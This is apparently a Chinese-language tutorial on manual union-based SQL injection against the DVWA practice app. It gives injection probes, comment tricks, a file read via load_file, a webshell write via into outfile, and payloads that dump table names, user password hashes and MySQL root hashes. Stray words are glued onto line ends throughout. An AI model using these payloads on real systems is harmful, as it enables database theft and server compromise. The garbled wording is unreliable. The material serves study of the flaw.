sql回显注入(满满的干货)

三种注入poc

 where user_id = 1 or 1=1mysql

 where user_id = '1' or '1'='1'web

 where user_id =" 1 "or "1"="1"sql

三种sql注释符

#     单行注释   注意与url中的#区分,常编码为%23shell

--空格      单行注释  注意为短线短线空格数据库

/*()*/      多行注释  至少存在俩处的注入   /**/经常使用来做为空格工具

注入流程

是否存在注入而且判断注入类型编码

判断字段数   order by url

肯定回显点      union select 1,2spa

查询数据库信息    @@version    @@datadir操作系统

查询用户名,数据库名     user()   database()

文件读取  union select 1,load_file('C:\\wondows\\win.ini')#

写入 webshell       select..into  outfile...

补充一点,使用sql注入遇到转义字符串的单引号或者双引号,可以使用HEX编码绕过

 

sql注入

SQL Injection,即SQL注入,SQLi,是指攻击者经过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害巨大,经常会致使整个数据库被脱裤,现在SQL注入还是如今最多见的Web漏洞之一。

SQL 注入分类:

SQLMap中的分类来看,SQL注入类型有如下5种:

 

UNION query SQL injection(可联合查询注入)

Stacked queries SQL injection(可多语句查询注入)堆叠查询

Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

Time-based blind SQL injection(基于时间延迟注入)

SQL 注入常规利用思路:

 1、寻找注入点,能够经过 web 扫描工具实现

 2、经过注入点,尝试得到关于链接数据库用户名、数据库名称、链接数据库用户权限、操做系统信息、数据库版本等相关信息。

 3、猜解关键数据库表及其重要字段与内容(常见如存放管理员帐户的表名、字段名等信息)

 3.1 还能够获取数据库的root帐号 密码—思路

 4、能够经过得到的用户信息,寻找后台登陆。

 5、利用后台或了解的进一步信息。

手工注入常规思路:

1.判断是否存在注入,注入是字符型仍是数字型

 2.猜解 SQL 查询语句中的字段数

 3.肯定显示的字段顺序

 4.获取当前数据库

 5.获取数据库中的表

 6.获取表中的字段名

 7.查询到帐户的数据

下面对四种级别的代码进行分析。

 猜数据库:

1' union select 1,database()#

payload利用另外一种方式:

1' union select user(),database()#

Version()#

获得数据库名:dvwa

PS:union查询结合了两个select查询结果,根据上面的order by语句咱们知道查询包含两列,为了可以现实两列查询结果,咱们须要用union查询结合咱们构造的另一个select.注意在使用union查询的时候须要和主查询的列数相同。

猜表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#

获得表名:guestbook,users

group_concat 分组

 猜列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#

1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

(用编码就不用单引号,用单引号就不用编码)

 获得列:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

猜用户数据:

列举出几种payload:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

1' union select null,concat_ws(char(32,58,32),user,password) from users #  

1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #  

获得用户数据:

admin 5f4dcc3b5aa765d61d8327deb882cf99

 root 用户:

1' union select 1,group_concat(user,password) from mysql.user#

获得root用户信息:

root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

相关文章
相关标签/搜索